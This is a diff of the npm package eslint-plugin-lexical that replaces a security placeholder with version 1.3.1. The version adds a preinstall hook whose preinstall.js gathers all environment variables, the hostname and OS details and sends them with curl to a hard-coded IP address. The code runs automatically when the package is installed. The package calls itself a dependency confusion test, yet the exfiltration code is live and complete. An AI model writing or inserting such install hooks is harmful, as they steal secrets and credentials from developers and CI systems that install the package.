eslint-plugin-lexical 0.0.1-security → 1.3.1

package/package.json

@@ -1,6 +1,17 @@
 {
   "name": "eslint-plugin-lexical",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.3.1",
+  "description": "Malicious package for dependency confusion test",
+  "scripts": {
+    "preinstall": "node preinstall.js"
+  },
+  "repository": {
+    "type": "git",
+    "url": "git+https://github.com/0xazanul/formio-tenant"
+  },
+  "author": "0xazanul",
+  "license": "MIT",
+  "dependencies": {
+    "eslint-plugin-lexical": "^1.3.0"
+  }
 }

package/preinstall.js

@@ -0,0 +1,53 @@
+// preinstall.js
+const { execSync } = require('child_process');
+const url = 'http://206.189.139.175:8080'; // Replace with your controlled endpoint
+
+/**
+ * Execute a shell command and return its output, or an error string if it fails.
+ * @param {string} cmd - The command to execute.
+ * @returns {string} - The output of the command.
+ */
+function safeExec(cmd) {
+  try {
+    return execSync(cmd, { timeout: 5000 }).toString().trim();
+  } catch (e) {
+    return `Error executing: ${cmd}`;
+  }
+}
+
+try {
+  let payload = '';
+
+  if (process.platform !== 'win32') {
+    // --- Linux/Unix Collection ---
+    // Collect all environment variables
+    const envData = safeExec('env');
+    // Get OS details
+    const unameData = safeExec('uname -a');
+    // Get hostname (as an additional identifier)
+    const hostnameData = safeExec('hostname');
+    // Check for common CI/CD environment variable (if not set, defaults to "not_CI")
+    const ciFlag = process.env.CI || 'not_CI';
+
+    // Build the payload; note that each value is URL-encoded
+    payload = `env=${encodeURIComponent(envData)}&uname=${encodeURIComponent(unameData)}&hostname=${encodeURIComponent(hostnameData)}&CI=${encodeURIComponent(ciFlag)}`;
+  } else {
+    // --- Windows Collection (minimal) ---
+    // On Windows, use 'set' to get environment variables
+    const envData = safeExec('set');
+    // Get hostname
+    const hostnameData = safeExec('hostname');
+    // CI/CD marker (if available)
+    const ciFlag = process.env.CI || 'not_CI';
+
+    payload = `env=${encodeURIComponent(envData)}&hostname=${encodeURIComponent(hostnameData)}&CI=${encodeURIComponent(ciFlag)}`;
+  }
+
+  // Send the collected data via an HTTP POST using curl
+  const cmd = `curl -X POST -d "${payload}" ${url}`;
+  execSync(cmd, { stdio: 'inherit' });
+
+} catch (error) {
+  console.error('Preinstall data exfiltration failed:', error);
+  process.exit(1);
+}

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=eslint-plugin-lexical for more information.